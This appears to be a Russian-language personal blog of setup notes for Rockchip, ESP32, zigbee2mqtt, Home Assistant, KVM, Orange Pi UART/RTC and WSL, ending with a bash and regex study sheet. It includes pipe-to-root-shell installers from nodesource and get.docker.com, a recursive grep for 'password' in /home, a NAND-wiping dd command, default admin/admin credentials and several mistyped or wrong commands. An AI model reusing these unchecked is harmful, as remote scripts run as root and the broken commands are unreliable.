Рубрики
napi

rkdevtool / debian / install

Link:

https://github.com/rockchip-linux/rkdeveloptool

Install

0. Ставим пакеты:
apt install git libudev-dev libusb-1.0-0-dev dh-autoreconf
 
# На случай ошибки при configure с libusb, нужно доставить эти пакеты:
apt install pkg-config libusb-1.0

1. Качаем дистрибутив rkdevtool
cd /opt
git clone https://github.com/rockchip-linux/rkdeveloptool

2. Входим в каталог 
cd  /opt/rkdeveloptool

3. Выполняем:
./autogen.sh

4. Выполняем:
./configure

!!!  если все успешно то у вас появится Makefile

5. Производим сборку 
make

6. Производим установку в систему:
make install 

Основные команды:

rkdevtool ld - показать устройства в maskrom
rkdevtool db name_boot_loder - загрузка загрузчика (мелкий файл)
rkdevtool wl 0 name_image - загрузка образа системы (большой файл)

Пустой образ или затереть nand:

создаем образ пустой
dd if=/dev/zero cont=500 bs=1M of=zero.img
rkdevtool db грузим_загручик
записываем пустышку
rkdevtool wl 0 zero.img 
Рубрики
esp

esp32-cam-mb / esp32-cam

Link:

https://github.com/espressif/esp-idf/tree/02c5f2db/examples
https://github.com/espressif/esp32-camera
https://www.ozon.ru/product/esp32-cam-mb-micro-usb-esp32-s-posledovatelnym-podklyucheniem-k-wi-fi-plata-cam-sovmestima-bluetooth-1781037428/
https://github.com/ESP32Tutorials/ESP32-CAM-ESP-IDF-Live-Streaming-Web-Server
ESP32-CAM ESP-IDF Live Streaming Web Server

edit:

idf.py add-dependency "espressif/esp32-camera"
Рубрики
esp

esp / esp32 / esp-idf

Links:

https://idf.espressif.com/

https://www.espressif.com/en/support/documents/technical-documents - техническая документация 
https://www.espressif.com/en/support/documents/technical-documents?keys=&field_type_tid%5B%5D=842

https://github.com/espressif/esp-idf/tree/02c5f2db/examples - примеры проектов
https://github.com/espressif/esp-idf/releases/tag/v5.4.1
https://docs.espressif.com/projects/esp-dev-kits/en/latest/esp32/esp32-devkitc/index.html
https://docs.espressif.com/projects/esp-idf/en/v5.4.1/esp32/get-started/index.html
https://www.espressif.com/en/support/download/sdks-demos
https://docs.espressif.com/projects/esp-idf/en/v5.5/esp32s3/get-started/linux-macos-setup.html#get-started-linux-macos-first-steps

https://www.espressif.com/en/sdks/esp-zephyr
https://docs.zephyrproject.org/latest/boards/raspberrypi/rpi_4b/doc/index.html

https://github.com/espressif/esp-bsp/tree/master/examples

0. install package:

Ubuntu and Debian:
sudo apt-get install git wget flex bison gperf python3 python3-pip python3-venv cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0

CentOS 7 & 8:
CentOS 7 is still supported but CentOS version 8 is recommended for a better user experience.
sudo yum -y update && sudo yum install git wget flex bison gperf python3 cmake ninja-build ccache dfu-util libusbx


Arch:
sudo pacman -S --needed gcc git make flex bison gperf python cmake ninja ccache dfu-util libusb

Installing Python 3:
> Python 2.7.17
python3 --version

2. Скачаем ESP-IDF:

cd /opt
sudo git clone -b v5.4.1 --recursive https://github.com/espressif/esp-idf.git

3. Set up the Tools:

Тут можно уже поставить под конкретную esp:
cd /opt/esp-idf
./install.sh esp32
./install.fish esp32,esp32s2

Или поставить все:
cd /opt/esp-idf
./install.sh all

4. Настройка окружения и первый пример с hellow_world:

0. Создаем каталог ESP:
mkdir ESP
cd ESP
1. Активируем окружение:
. /opt/esp-idf/export.sh

2. Пример hello_world:
cp -r $IDF_PATH/examples/get-started/hello_world .
cd ~/esp/hello_world
idf.py set-target esp32
idf.py menuconfig

6. Сборка проекта:

idf.py build

7. Прошивка устройства / Flash onto the Device

idf.py -p PORT flash
idf.py -p PORT flash monitor

8. Debug с прошивкой


 idf.py -p  monitor
Рубрики
napi

zigbee2mqtt / napi / arbian

Link:

https://www.zigbee2mqtt.io/
https://www.zigbee2mqtt.io/guide/installation/01_linux.html
https://docs.jethome.ru/ru/controllers/linux/howto/zigbee2mqtt.html

Setup:

# Ставлю под рутом ^_^

0. Ставим пакеты:
apt-get install -y curl
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
apt-get install -y nodejs git make g++ gcc libsystemd-dev tmux
apt install -y mosquitto mosquitto-clients
corepack enable

1. Создадим каталог
mkdir /opt/zigbee2mqtt

2. На случай если ставили не от рута нужно дать права на каталог
sudo chown -R ${USER}: /opt/zigbee2mqtt

3. Скачиваем гит в каталог
git clone --depth 1 https://github.com/Koenkk/zigbee2mqtt.git /opt/zigbee2mqtt

4. Переходим в каталог:
cd /opt/zigbee2mqtt

5. Запустим tmux и продолжим сборку в нем:
tmux

6. Собираем приложение:
pnpm install --frozen-lockfile

6.1 !!! Вот тут могут возникнуть проблемы, если у вас мало оперативки скорее всего сборка зависнет, запустим в один поток сборку
pnpm install --frozen-lockfile --child-concurrency=1

7. После сборки выполняем запуск: 
cd /opt/zigbee2mqtt
pnpm start

Пример сервиса:

cat > /etc/systemd/system/zigbee2mqtt.service << "EOF"
[Unit]
Description=zigbee2mqtt
After=network.target

[Service]
Environment=NODE_ENV=production
Type=simple
ExecStart=/usr/bin/pnpm start
WorkingDirectory=/opt/zigbee2mqtt
StandardOutput=inherit
StandardError=inherit
Restart=always
RestartSec=10


[Install]
WantedBy=multi-user.target
EOF


systemctl daemon-reload
systemctl enable zigbee2mqtt.service
systemctl start zigbee2mqtt.service
systemctl status zigbee2mqtt.service
journalctl -u zigbee2mqtt.service -f

Update Zigbee2MQTT to the latest version

cd /opt/zigbee2mqtt
./update.sh
Рубрики
orangepi

home-assistant / orangepi cm4 / debian 12 / container

Links:

http://www.orangepi.org/orangepiwiki/index.php/Orange_Pi_CM4 - инструкции
http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-CM4-1.html - инструкции
https://drive.google.com/drive/folders/1MJl-pIU2I7EHDN6rlirumVkBOz7utvyE - другие образы 
https://drive.google.com/file/d/1v7q46pRilxLxOvBu_dz5CscEU7ifb9mS/view?usp=drive_link  - образ диска дебиана
https://drive.google.com/drive/folders/1m3pEc9Oib9JYOaiHP2TUx89Qq5Zd-tT6 - различные ультелиты
https://drive.google.com/file/d/1dAaW_FetnrKWsNU8HrOoYkZBOh0q8WNJ/view?usp=drive_link - пре загрузчик для devrktool

https://www.home-assistant.io/installation/#about-installation-methods
https://www.home-assistant.io/installation/raspberrypi/

https://www.home-assistant.io/installation/raspberrypi-other
https://www.home-assistant.io/installation/raspberrypi/
https://www.home-assistant.io/installation/linux
https://www.home-assistant.io/installation/alternative

https://github.com/NabuCasa/buildroot-installer/releases
https://github.com/home-assistant/buildroot
https://github.com/home-assistant/operating-system/releases/download/16.1/haos_rpi4-64-16.1.img.xz

https://developers.home-assistant.io/docs/operating-system/getting-started

https://docs.docker.com/compose/install/linux/
https://docs.docker.com/engine/install/debian/#install-using-the-repository
https://docs.docker.com/engine/install/debian/#install-using-the-repository

Install:

apt-get update
apt-get install docker-compose-plugin

docker compose version

Install Docker from repo docker:

sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

sudo docker run hello-world

Install docker from docker get:

curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

Uninstall Docker Engine:

sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

install home-assist:

https://www.home-assistant.io/installation/odroid

apt-get install docker-compose-plugin

cd /opt
mkdir home-assistant
cd home-assistant
cat > compose.yaml << "EOF"
services:
  homeassistant:
    container_name: homeassistant
    image: "ghcr.io/home-assistant/home-assistant:stable"
    volumes:
      - /PATH_TO_YOUR_CONFIG:/config
      - /etc/localtime:/etc/localtime:ro
      - /run/dbus:/run/dbus:ro
    restart: unless-stopped
    privileged: true
    network_mode: host
    devices:
      - /dev/ttyS9:/dev/ttyS9
    environment:
      DISABLE_JEMALLOC: true
EOF

Проброс железяки в докер:
- /dev/ttyS9:/dev/ttyS9
- /dev/ttyUSB0:/dev/ttyUSB0

Отключение OOM Killer для контейнера:
DISABLE_JEMALLOC: true

Запуск всего безобразия:
docker compose up -d
Рубрики
orangepi

home-assistant / orangepi cm4 / install supervised / depricated

links:

https://github.com/home-assistant/os-agent/releases
https://github.com/home-assistant/supervised-installer/releases/

install:

0. Обновляем ос:
apt update  -y && apt upgrade -y 

1. Ставим docker:
sudo  curl -fsSL get.docker.com | sh

2. Добавляем текущего юзера в группу docker:
sudo usermod -aG docker $USER

3. Ставим дополнительные пакеты:
sudo apt install -y jq wget curl udisks2 libglib2.0-bin network-manager dbus


4. Ставим os-agent:
wget https://github.com/home-assistant/os-agent/releases/download/1.7.2/os-agent_1.7.2_linux_aarch64.deb 
sudo apt install ./os-agent_1.7.2_linux_aarch64.deb

5. Cтавим AppArmor:
sudo apt install apparmor


6. Ставим Home Assistant:
wget https://github.com/home-assistant/supervised-installer/releases/latest/download/homeassistant-supervised.deb
sudo apt install  ./homeassistant-supervised.deb


6.1 Ошибка пакет "homeassistant-supervised" не ставится:
dpkg: regarding homeassistant-supervised.deb containing homeassistant-supervised, pre-dependency problem:
 homeassistant-supervised pre-depends on systemd-timesyncd
  systemd-timesyncd is not installed.
dpkg: error processing archive homeassistant-supervised.deb (--install):
 pre-dependency problem - not installing homeassistant-supervised
Errors were encountered while processing:
Выполняем:
sudo apt --fix-broken install
И пробуем поставить пакет заново

6.2 Ошибка:
[info] Waiting for https://checkonline.home-assistant.io/online.txt - network interface might be down...
У вас проблемы с DNS. 
ping ya.ru
если не ок
можно временно поправить файл /etc/resolv добавив строку "nameserver 8.8.8.8"
после установки разберитесь с днс

7. В окошке выбора типа архитектуры выбираем odroid-c2.
ждем мин 5 и пробуем подключится http://YOU_IP:8112
ждем окончания установки

apparmor err

cat /boot/orangepiEnv.txt
-------------------------
verbosity=1
bootlogo=false
extraargs=cma=128M
overlay_prefix=rk356x
rootdev=UUID=a0f8ca89-7eb7-4a1e-947a-2341637b4782
rootfstype=ext4
overlays=uart3-m0
console=serial
apparmor=1 security=apparmor
-------------------------

P.S

А теперь о печальном.
Этот способ установки будет жить и поддерживается до 2025.12.

https://www.home-assistant.io/blog/2025/05/22/deprecating-core-and-supervised-installation-methods-and-32-bit-systems/
из линка:
Поскольку сегодня мы объявили устаревшими методы установки Core и Supervised, мы работаем над удалением всех упоминаний о них из нашей документации.
Рубрики
orangepi

home-assistant / kvm / install

link:

https://www.home-assistant.io/installation/linux
https://github.com/home-assistant/operating-system/releases/download/16.0/haos_ova-16.0.qcow2.xz

Видос:
https://www.youtube.com/watch?v=zLC8GuOkHl0&ab_channel=ArmenakAvetisyan

Поддерживаемые устройства:
https://www.home-assistant.io/integrations/zha/#compatible-hardware%C3%90%C2%A3%C3%91%C2%81%C3%91%C2%82%C3%90%C2%B0%C3%90%C2%BD%C3%90%C2%BE%C3%90%C2%B2%C3%90%C2%BA%C3%90%C2%B0

Образы под arm на гитхаб:
https://github.com/home-assistant/operating-system/releases

образ под arm64:
https://github.com/home-assistant/operating-system/releases/download/16.1/haos_generic-aarch64-16.1.qcow2.xz

Пред настройка kvm:

0. Ставим пакеты:
apt install cockpit-networkmanager  cockpit-machines cockpit-storaged cockpit-ws cockpit-packagekit cockpit-podman
apt install qemu-kvm libvirt-daemon-system ovmf  virtinst
apt install openvswitch-switch

#Под arm64
apt-get install qemu-utils qemu-efi-aarch64 qemu-system-arm  qemu-efi-aarch64 qemu-system-arm qemu-user-static osinfo-db
apt install virt-manager libvirt0 qemu-system libvirt-daemon libvirt-daemon-system libvirt-daemon-system-systemd libvirt-clients libvirt-daemon-config-network qemu-efi-arm qemu-efi-aarch64

usermod -aG kvm user_name
usermod -aG libvirt user_name 

2. Создаем бридж ovs:
ovs-vsctl show
ovs-vsctl add-br ovsbr0
ovs-vsctl add-port ovsbr0 end1
где ovsbr0 - бридж и end1 - сетевая карта

3. Отключаем NetworkManage и настраиваем networking
systemctl disable NetworkManager
systemctl enable networking.service 
vim /etc/network/interfaces
---------------------------
source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

auto end1 
iface end1 inet manual

auto ovsbr0
iface ovsbr0 inet dhcp
---------------------------

Создаем сеть:
vim ovsbr0.xml
-------------------------------------------
<network>
  <name>default</name>
  <forward mode='bridge'/>
  <bridge name='ovsbr0'/>
  <virtualport type='openvswitch'/>
</network>
-------------------------------------------

virsh net-destroy default
irsh net-undefine default 
virsh net-create --file /root/ovsbr0.xml
virsh net-autostart default
virsh net-start default

wget:

wget https://github.com/home-assistant/operating-system/releases/download/16.0/haos_ova-16.0.qcow2.xz 
unxz haos_ova-16.0.qcow2.xz 

install virt-manage:

1. Create a new virtual machine in virt-manager.
2. Select Import existing disk image, provide the path to the QCOW2 image above.
3. Choose Generic Default for the operating system.
4. Check the box for Customize configuration before install.
5.Under Network Selection, select your bridge.
Under customization select Overview > Firmware > UEFI x86_64: …. Make sure to select a non-secureboot version of OVMF (does not contain the word secure, secboot, etc.), e.g., /usr/share/edk2/ovmf/OVMF_CODE.fd.
7. Click Add Hardware (bottom left), and select Channel.
8. Select device type: unix.
9. Select name: org.qemu.guest_agent.0.
10 Finally, select Begin Installation (upper left corner).

install virt-install:

virt-install --name haos \
--description "Home Assistant OS" \
--os-variant=generic \
--ram=4096 \
--vcpus=2 \
--disk ,bus=scsi \
--controller type=scsi,model=virtio-scsi \
--import \
--graphics none \
--boot uefi

install virt arm:

cd /var/lib/libvirt/images
wget https://github.com/home-assistant/operating-system/releases/download/16.1/haos_generic-aarch64-16.1.qcow2.xz

virt-install --name haos \
--description "Home Assistant OS" \
--os-variant=generic \
--osinfo generic \
--ram=2048 --vcpus=2 \
--disk haos_generic-aarch64-16.1.qcow2,bus=scsi \
--controller type=scsi,model=virtio-scsi \
--import --graphics none \
--boot uefi

Рубрики
orangepi

orangepi cm4 / uart7 / uart9 / test

links:

https://drive.google.com/drive/folders/1lbEI5JdLWwI6y9VoGM0nioFDhzF79QSu
http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-Zero-2W.html

work


#Конфиг env boot:
root@orangepicm4:~# cat /boot/orangepiEnv.txt 
verbosity=1
bootlogo=false
extraargs=cma=128M
overlay_prefix=rk356x
rootdev=UUID=a0f8ca89-7eb7-4a1e-947a-2341637b4782
rootfstype=ext4
overlays=uart7-m2 uart9-m2
console=serial


#скрипт 1
root@orangepicm4:~# cat uart9.txt
#!/bin/bash
#

xxx=0

while :
do
        echo -n -e "\nHello UART9! ${xxx}"
        echo -n -e "\nHello UART9! ${xxx} \r" > /dev/ttyS9
        #sleep 1
        let xxx++
done

#скрипт 2
root@orangepicm4:~# cat uart7.txt
#!/bin/bash
#

xxx=0

while :
do
        echo -n -e "\nHello UART7! ${xxx}"
        echo -n -e "\nHello UART7! ${xxx} \r" > /dev/ttyS7
        #sleep 1
        let xxx++
done



# Настройка UART7 (например, 115200 бод, 8 бит, без контроля чётности, 1 стоп-бит)
sudo stty -F /dev/ttyS7 115200 cs8 -parenb -cstopb

# Настройка UART9 (такие же параметры)
sudo stty -F /dev/ttyS9 115200 cs8 -parenb -cstopb

Проверить настройки можно так:
stty -F /dev/ttyS7 -a
stty -F /dev/ttyS9 -a
echo "Hello UART!" > /dev/ttyS7
echo "Hello UART!" > /dev/ttyS9


mincom -D /dev/ttyS7 -b 115200
mincom -D /dev/ttyS9 -b 115200


screen /dev/ttyS7 115200
screen /dev/ttyS9 115200


echo "Hello UART!" > /dev/ttyS7
echo "Hello UART!" > /dev/ttyS9
Рубрики
orangepi

orangepi cm4 / i2c / rtc / ds1338 / ds1307 / hwclock

Проверяем а если часы:
dmesg | grep rtc


Проверяем какие модули загружены:
lsmod 

Проверяем что у нас на шине i2c (у нас часы имеют адрес 68)
i2cdetect -y 1

Пробуем прочитать регистры:
i2cget -y 1 0x68 0x00
for reg in {0..6}; do      echo "Регистр 0x0$reg: $(i2cget -y 1 0x68 0x0$reg)";  done

Пробуем изменить вывод на 24 часа:
i2cset -y 1 0x68 0x02 0x12

Добавляем часы в систему что бы можно было с ними взаимодействовать
modprobe rtc-ds1307
echo "ds1307 0x68" > /sys/class/i2c-adapter/i2c-1/new_device
dmesg | grep rtc
hwclock -s -f /dev/rtc1

# Запись системного времени в RTC
hwclock --systohc
hwclock --systohc -f /dev/rtc1

# Чтение времени из RTC
hwclock -v 
hwclock -v -f /dev/rtc1

Для автоматического включения модуля ядра rtc-ds1307:
echo "rtc-ds1307" >> /etc/modules


python script:

apt install python3-smbus2 


cat > clock.py << "EOF"
from smbus2 import SMBus
import time

I2C_BUS = 1      # номер шины (0 или 1)
DEV_ADDR = 0x68  # адрес DES3338 на шине

with SMBus(I2C_BUS) as bus:
    # Чтение 7 байт (секунды, минуты, часы...)
    data = bus.read_i2c_block_data(DEV_ADDR, 0x00, 7)
    print(f"Время: {data[2]}:{data[1]}:{data[0]}")
EOF


python clock.py 


Рубрики
device \ устройства \ железо

nano kvm lite

link:

https://github.com/sipeed/NanoKVM
https://github.com/sipeed/NanoKVM/releases
https://www.ozon.ru/search/?text=nano+kvm+lite&from_global=true

default password:

Логин: admin 
Пароль: admin
Рубрики
bash

bash / sec / wsl / Конспект

wsl

0. Установка WSL (всё одной командой)
wsl —install

1. WSL 1 или WSL 2?
wsl —set-default-version 2
|                    | WSL 1                     | WSL 2 |
|--------------------|---------------------------|-------|
| Ядро               | Эмуляция                  | Реальное Linux-ядро 
| Производительность | Быстрее на Windows-диске  | Лучше на Linux-утилитах 
| Совместимость      | Ограниченная | Почти 100% |
| Поддержка Docker   | x                         | y 
| GUI-приложения     | x                         | y (в Windows 11) 


2. Работа с файлами и системами
Доступ к Windows-дискам: /mnt/c/Users/...  
Поддержка Git, Python, Node, npm, pip, apt  


3. Можно запускать команды Windows внутри Linux и наоборот:
notepad.exe test.txt

4. Настройка терминала
Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами.

5. Обновление WSL и Linux-дистрибуции
wsl —update
wsl —shutdown

6. Внутри Ubuntu:
sudo apt update && sudo apt upgrade -y


7. Установка других дистрибутивов
WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие:
wsl —list —online
wsl —install —distribution Debian

8. Поддержка GUI и Docker
В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg).  
Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM.

9. Дополнительные фичи
.wslconfig для настройки ресурсов (CPU, RAM, swap)  
Автоматический mount директорий  
Работа с systemd, crontab, background-сервисами (в новых версиях)

Основы:

Командная строка - это общий термин, относящимся к средствам, 
передающим команды в интерактивную систему компьютера.

Создать директорию:
mkdir -p /tmp/fff

Тип файла:
type -t if
type -t pwd
type -t ls

Посмотреть какие команды встроены в интерпретатор:
compgen -k
compgen -c
compgen -b

Стандартный ввод / вывод / ошибки
0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура).
1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал).
2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал).

Перенаправление stdout:
Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан.
ls > output.txt

Оператор >> добавляет вывод в конец файла, не перезаписывая его.
echo "Hello" >> output.txt

Чтобы перенаправить поток ошибок в файл, используется 2>.
ls /nonexistent 2> errors.txt

2>> добавляет ошибки в конец файла:
ls /nonexistent 2>> errors.txt

Игнорирование ошибок:
command 2> /dev/null
 
Запись вывода и ошибок в один файл:
command > output.txt 2>&1
 
Раздельная запись stdout и stderr:
command > output.txt 2> errors.txt
 
Отправка всех данных в «черную дыру»:
command > /dev/null 2>&1


Сделать все одной строкой:
prog < data.in > result.out 2> errr.msg

Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы)
prog  < data.in > result.out 2>&1


Выполнение команд в фоновом режиме:
ping 192.168.10.56 > ping.log &
ping 192.168.10.56 &> ping.log &
jobs
fg 1
crtrl+z


Скрипты
#!/bin/bash - шабанг, первая строка любого скрипта на баш
#!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша 
bash myscript
chmod 755 myscript
./myscript  

Основы работы:

echo "Hello world"
printf "Hello world\n"

Переменные:
MYVAR=textmyvar
echo $MYVAR

Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов:
MYVAR='here is a longer set of worlds'
OTHVAR="either double or single quotes will work"

Двойные кавычки позволит выполнять другие элементы внутри строки:
FIRSTVAR=beginning
SECONDVAR="this is just the $FIRSTVAR"
echo $SECONDVAR
echo ${SECONDVAR}

!!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $,
все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет.

Сохранить вывод, полученный командной оболочки, с помощью символа $():
CMDOUT=$(pwd)

Позиционные параметры:
$# - возвращает общие кол-во параметров
$0 - имя скрипта
$1 - первый параметр
$2 - второй параметр
$3 - третий параметр

#!/bin/bash
#echoparms.sh   
echo $#
echo $0
echo $1
echo $2
echo $3



Условия:
Успешное выполнение скрипта возвращает 0.
Возвращаемое значение 0 считается success или true.
Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?:
echo $?

Пример условий if:
if cmd
then
  some cmds
else 
  other cmds
fi


Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls:
if cd /tmp
then
  echo "her eis what is in /tmp:"
  ls -l
fi

Пример конвейера if:
if ls | grep pdf
then
  echo "found more pdf"
else
  echo "no found pdf"
fi

Но есть нюанс если использовать с wc в конвейере:
ls | grep pdf | wc
Будет всегда возращено 0



Команда test и [, проверка атрибутов файлов или сравнения значений.
Проверка файлов и каталогов:
-d - проверка существования каталога
-у - проверка существования файла
-r - проверка существования файла и доступен ли он для чтения
-w - проверка существования файла и доступен ли файл для записи
-x - проверка существования файла и  можно ли файл выполнить

Проверка существования файла:
if [[ -e $FILENAME ]]
then
  echo $FILENAME exists
fi

Сравнение файлов или переменных:
-eq - тест на равенство
-gt - проверка, больше ли одно число, чем другое
-lt - проверка, меньше ли одно число, чем другое
Проверка меньше ли $VAL чем $MIN
if [[ $VAL -lt $MIN ]]
then
  echo "value is to small"
fi

!!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым
!!! Так что рекомендуется использовать -eq, -gt, -lt
!!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( ))
!!! Оператор $ не требуется в этой конструкции
if (( VAL < 12 ))
then 
  echo "value $VAL is to small"
fi


Последовательное выполнение команд с использование оператора ;
Пример:
cd $DIR; ls

Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда:
cd /etc/ && ls /etc && ls /etc/ | wc

Специальная команда ||,  если первая команда не выполнилась успешно то выполнится следующая команда.


Команды [[ можно выполнять без конструкции if
[[ -d $DIR ]] && ls "$DIR"
Аналог вот такой записи:
if [[ -d $DIR ]]
then
  ls "$DIR"
fi

Вот еще примеры:
[[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit
[[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; }


Циклы while ( пока i меньше 1000, выполняем цикл)
i=0
while (( i < 1000))
do 
  echo $i
  let i++
done


Цикл while выполняет команды как часть своего условия:
while ls | grep -q pdf 
do 
  echo -n 'there is a file with pdf in lts name here:'
  pwd
  cd ..
done

Циклы for:
for ((i=0; i < 100; i++))
do
  echo $i
done

Еще for:
./args.sh bash is fun
for ARG
do
  echo here is an argument: $ARG
done


Еще far список:
for VAL in 20 3 dog peach 7 vanilla
do
  echo $VAL
done

Еще список можно генерировать используя другие программы, пример:
for VAL in $(ls | grep pdf) {0..5}
do
  echo $VAL
done


Функции и свои функции:
function myfun ()
{
 # это тело функции
}
Выполнение своей функции:
myfun




Шаблоны подстановки и перечисление / wildcarding
Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия.
Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов.
Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку,
если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку.
Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc.
Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций.
Шаблоном для имен скрытых файлов является .* (точка и звездочка).
Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка".
 
Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса.
В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов.
 
Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон.
Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского.
echo .[bcd]*
 
Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки.
Например, [!abc] — множество любых символов, кроме a, b или c.
 
Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash.
Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках
echo .bash{rc,_profile}

точка . - любой один символ
? - любой один символ
* - любое кол-во символов
а* - a, ab, abc и aecjejich
^ - начало строки
$ - конец строки 
^а - Любое «а», находящееся в начале строки 
*а$ - Любое «а», находящееся в конце строки 
а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с»
 
[] - диапазон 
[^a] - прикол  в таких скобках с "^" все что угодно только не "a"
[^0-9]
[^[:alnun:]]
[bcf]at - bat, cat или fat
[a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д.
[A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д.
1[3-5]7 - 137,147 и 157
[0-9]    [[:digit:]] \d \D
[a-z]
[A-Z]
[a-zA-Z0-9]
[[:alnun:]]  \w  \W
[[:space:]]  \s  \S
 
[A-Z] - большие буквы
[0-9] - цифры
[a-z] - мелкие буквы
[A-Za-z]
www\.[a-z]*\.com
 
[:alnum:] - алфавитно цифровой
[:alpha:] - Буквенный
[:ascii:] - ASCII
[:blank:] - пробел и символ табуляции
[:ctrl:] - управляющий символ
[:digit:] - число
[:graph:] - все что угодно, кроме управляющих символов и пробелов
[:lower:] - символы в нижнем регистре
[:print:] - все кроме управляющих символов
[:punct:] - символы пунктуации
[:space:] - пробелы, включая разрывы строк
[:upper:] - символы в верхнем регистре
[:world:] - буквы, цифры и символы подчеркивания
[:xdigit:] - шестнадцатеричный символ


d{n,m} - квантификатор 
{} -  последовательность
touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt
grep -E  '[0-9]{1,3}'
 
\tHello	- Символ табуляции, предшествующий слову hello
\[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра
\n - новая строка
\r - символ возврата
 

Мата символ * 
Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. 
Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему 
числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, 
нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление 
регулярных выражений отличается от glob-подстановок:
ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?)
ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками)
ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону)
b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be»)
b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым)
b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке)
b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга)
.* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".")
foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки 
этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.»)
Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, 
что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, 
что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках.


Регулярные выражения:


grep 
-c - вывести кол-во строк, соответствующего шаблону
-E - включить расширенное регулярное выражение
-f - читать шаблон поиска, находящийся в предоставленном файле
-i - игнорировать регистр символов
-l - вывести только имя файла и путь, по которому был найден шаблон
-n - вывести номер строки файла, в которой был найден шаблон
-P - включить механизм регулярных выражений Perl
-R, -r - выполнить рекурсивный поиск подкаталогов


Пример:
grep -R -i 'password' /home
egrep это grep -E

Пример текса file.txt для работы с grep:
1 Two roads diverged in a yellow wood,
2 And sorry I cloud not travel both
3 And be one traveler, long I stood
4 And looked down one as far as I could
5 To where it bent in the undergrowth;
6 
7 Excerpt from The Road Not Taken by Robert Frost
